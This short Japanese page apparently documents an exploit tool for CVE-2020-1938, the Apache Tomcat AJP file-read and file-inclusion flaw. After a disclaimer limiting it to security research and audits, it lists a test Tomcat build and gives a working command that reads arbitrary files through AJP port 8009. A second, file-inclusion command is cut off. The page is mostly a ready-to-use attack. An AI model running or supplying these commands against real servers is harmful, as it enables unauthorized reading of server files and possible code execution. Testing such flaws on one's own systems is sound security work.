CVE-2020-1938

CVE-2020-1938 このツールはセキュリティ研究および内部監査専用です。不正攻撃に使用することは禁止されており、その結果は利用者の責任となります。 apache-tomcat-8.5.32.zip テスト用tomcat 任意ファイル読み取り root@kitploit: java -jar 1.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 file /index.jsp ファイルインクルード root@kitploit: java -jar 1.jar...